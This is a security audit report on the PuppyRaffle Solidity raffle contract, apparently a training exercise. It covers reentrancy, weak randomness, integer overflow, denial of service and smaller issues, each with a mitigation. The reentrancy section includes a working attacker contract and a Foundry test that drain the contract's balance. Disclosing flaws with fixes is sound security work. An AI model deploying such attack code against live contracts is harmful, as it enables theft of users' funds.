PuppyRaffle Audit Report

Version 1.0

Aditya

January 2, 2025

Aditya Audit Report

Aditya Mohan Jha

Jan 2,2025

Prepared by: [Aditya] Lead Auditors: - Aditya

Table of Contents

    * [M-1] Iterating through the `players` array in `PuppyRaffle::enterRaffle` to check for duplicates can become computationally expensive as the array grows in size. This creates a potential denial-of-service (DoS) vulnerability, significantly increasing the gas cost for future participants.
    * [M-2] Smart contract wallet raffles winner without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` function return `0` for non-existent players and for players at index 0,think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variables should be declare constant and immutable.
    * [G-2] Storage variable in the loop should be cached
- Information/Non-Crits
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Using outdated version of solidity is not recommended.
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI,which is not a best practice
  - [I-5] Use of "magic" number is discouraged
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle::_isActivePlayer` function is not used anywhere and should be removed.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Aditya team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow the CEI(Check,Effect and Interaction)as a result,enable participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make the external call to `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
          address playerAddress = players[playerIndex];
          require(playerAddress == msg.sender, "PuppyRaffle: Only the
             player can refund");
          require(playerAddress != address(0), "PuppyRaffle: Player
             already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);
          emit RaffleRefunded(playerAddress);
    }
```

A player who enter the raffle could have a `fallback`/`receive` which will call again the `PuppyRaffle::refund` and drain all the contract balance.

Impact: All the fees paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept:

1. User enter the raffle
2. Attacker sets up a contract with the `fallback` function that call `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls `PuppyRaffle::refund` from their attacker contract, draining the contract balance.

Code

Place the following code in `PuppyRaffleTest.t.sol`

```
function test_Reentrancy_Refund() public {
        address[] memory players = new address[](3);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
        uint256 attackerBalanceBefore = address(attacker).balance;
        uint256 puppyRaffleBalanceBefore = address(puppyRaffle).balance
            ;

        attacker.attack();

        uint256 attackerBalanceAfter = address(attacker).balance;
        uint256 puppyRaffleBalanceAfter = address(puppyRaffle).balance;

        console.log("attackerBalanceBefore", attackerBalanceBefore);
        console.log("attackerBalanceAfter", attackerBalanceAfter);
        console.log("puppyRaffleBalanceBefore",
            puppyRaffleBalanceBefore);
        console.log("puppyRaffleBalanceAfter", puppyRaffleBalanceAfter)
            ;
    }
```

And this contract as well

```
contract Attack {
    PuppyRaffle puppyRaffle;
    uint256 index ;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
    }



    function attack() public payable{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: 1e18}(players);
        index = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(index);
    }

    function _stealMoney() internal {
      if(address(puppyRaffle).balance > 0) {
        puppyRaffle.refund(index);
        }
    }

   fallback() external payable{
        _stealMoney();
    }
    receive() external payable{
      _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this `PuppyRaffle::refund` should follow the CEI,which means the function should update the `players` array before making the external call.Additional, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
         address playerAddress = players[playerIndex];
         require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
         require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
         payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Note:* This additionally means user can front-run this function, and call `PuppyRaffle::refund` if they see they are not the winner.

Impact: Anu user can influence the winner of the raffle,wining the money and selecting the `rarest` puppy.Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflow.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`,`totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawsFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees,leaving fees permanently stuck in the contract.

Proof of Concept:

1. We have 200 players enter the raffle.
2. Total expected fee collected should be 40000000000000000000.
3. Due to overflow fee collected 3106511852580896768
4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFee`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although, you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees,this is clearly not the intended design of the protocol.At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Put below code in `PuppyRaffleTest.t.sol`;

Code

```
function test_Overflow_SelectWinner() public {
        uint256 playerNum = 200;
       address[] memory players = new address[](playerNum);
        for(uint256 i=0;i<playerNum;i++) {
            players[i] = address(uint160(i+5));
        }

        uint256 expectedFee = 40000000000000000000;

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(players
           );

        puppyRaffle.selectWinner();
        uint64 totalFees = puppyRaffle.totalFees();

        // console.log("total fee collected2", uint256(totalFees2));
        vm.expectRevert();
        assertEq(expectedFee, totalFees);

    }
```

Recommended Mitigation: There are few possible mitigation.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `safeMath` library from openzeppelin for version 0.7.6 of solidity,however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFee`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require,so we recommend removing it regardless.

Medium

[M-1] Iterating through the `players` array in `PuppyRaffle::enterRaffle` to check for duplicates can become computationally expensive as the array grows in size. This creates a potential denial-of-service (DoS) vulnerability, significantly increasing the gas cost for future participants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` for duplicate check and it makes call expensive as the size of `PuppyRaffle::players` grow `PuppyRaffle::enterRaffle` call become expensive.So, those who enter early have to pay very less gas in compare to the others who enter lately.

```
// @audit: DOS Attack
@>  for (uint256 i = 0; i < players.length - 1; i++) {
@>            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffles. Discouraging the later user form entering,and causing the rush at the start to be one of the first in the queue.

Attacker will make this `PuppyRaffle::players` array so big,that no one else enters,guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter,the gas cost will as such:

- 1st 100 players: ~6252047
- 2nd 100 players: ~18068215

This more than 3x expensive for the second 100 players.

POC

Place following test into `PuppyRaffleTest.t.sol`

```

    function test_denialOfService() public {

        vm.txGasPrice(1);

        uint256 playerNum =100;
        address[] memory players = new address[](playerNum);
        for (uint i = 1; i < playerNum; i++) {
            players[i] = address(uint160(i));
        }

        uint256 startGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*playerNum}(players);
        uint256 endGas = gasleft();

        uint256 gasUsedFirst = (startGas - endGas)*tx.gasprice;
        console.log("Gas used for set of users:", gasUsedFirst);

        // For next 100 user
       address[] memory playersTwo = new address[](playerNum);
        for (uint i = 0; i < playerNum; i++) {
            playersTwo[i] = address(uint160(i+playerNum));
        }

        startGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee*playersTwo.length}(playersTwo);
        endGas = gasleft();

        uint256 gasUsedSecond = (startGas - endGas)*tx.gasprice;
        console.log("Gas used for next set of users:", gasUsedSecond);

        assert(gasUsedSecond > gasUsedFirst);
    }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. User can make new wallet anyways,so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
```

```diff
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Smart contract wallet raffles winner without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for testing the lottery.However, if the winner is a smart-contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter , but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `PuppyRaffle::selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are few option to mitigate this issue.

1. Do not allow smart contract wallet entrants(not recommended)

2. Create a mapping of address -> payout so that winner can pull their money by themselves with a new `claimPrize` function,Putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function return 0 for non-existent players and for players at index 0,think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0,this will return 0,but according natspec, it will also return 0 if player is not active

```
  /// @return the index of the player in the array, if they are not
     active, it returns 0
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 incorrectly think they have not entered the raffle and attempt to enter raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` return 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function return -1 if the players is not active.

Gas

[G-1] Unchanged state variables should be declare constant and immutable.

Reading from storage is much more expensive then reading from constant or immutable variable.

Instance:

- `PuppyRaffle:raffleDuration` should be `immutable`.
- `PuppyRaffle:commonImageUri` should be `constant`.
- `PuppyRaffle:rareImageUri` should be `constant`.
- `PuppyRaffle:legendaryImageUri` should be `constant`.

[G-2] Storage variable in the loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = player.length;
-  for (uint256 i = 0; i < players.length - 1; i++) {
+  for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
             }
}
```

Information/Non-Crits

[I-1]: Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Proof of Concept:

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend to avoiding complex pragma solidity.

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Check the **slither**

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 206

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI,which is not a best practice

It's best to keep code clean and follow CEI (Checks,Effect,Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" number is discouraged

It can be confusing to see number literals in a codebase,and it's much more readable if numbers are given name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead You can Use:

```
    uint256 constant public PRIZE_POOL_PERCENTAGE=80;
    uint256 constant public FEE_PERCENTAGE=20;
    uint256 constant public PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` function is not used anywhere and should be removed.

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```